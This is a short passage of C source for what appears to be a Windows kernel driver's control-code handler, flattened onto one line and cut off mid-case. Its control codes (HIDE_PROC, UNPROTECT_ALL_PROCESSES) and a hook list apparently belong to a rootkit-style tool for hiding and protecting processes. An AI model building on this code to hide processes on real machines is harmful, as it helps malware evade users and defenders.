__try { // if system offsets not supported / disable features // that require the use of offsets to avoid crash if (pstack->Parameters.DeviceIoControl.IoControlCode >= HIDE_PROC && \ pstack->Parameters.DeviceIoControl.IoControlCode <= UNPROTECT_ALL_PROCESSES && xHooklist.check_off) { pstatus = ERROR_UNSUPPORTED_OFFSET; __leave; } switch (pstack->Parameters.DeviceIoControl.IoControlCode) { case HIDE_PROC: { if (pstack->Parameters.DeviceIoControl.InputBufferLength < sizeof(int)) { pstatus = STATUS_BUFFER_TOO_SMALL; break; } RtlCopyMemory(&inputInt, Irp->AssociatedIrp.SystemBuffer, sizeof(inputInt));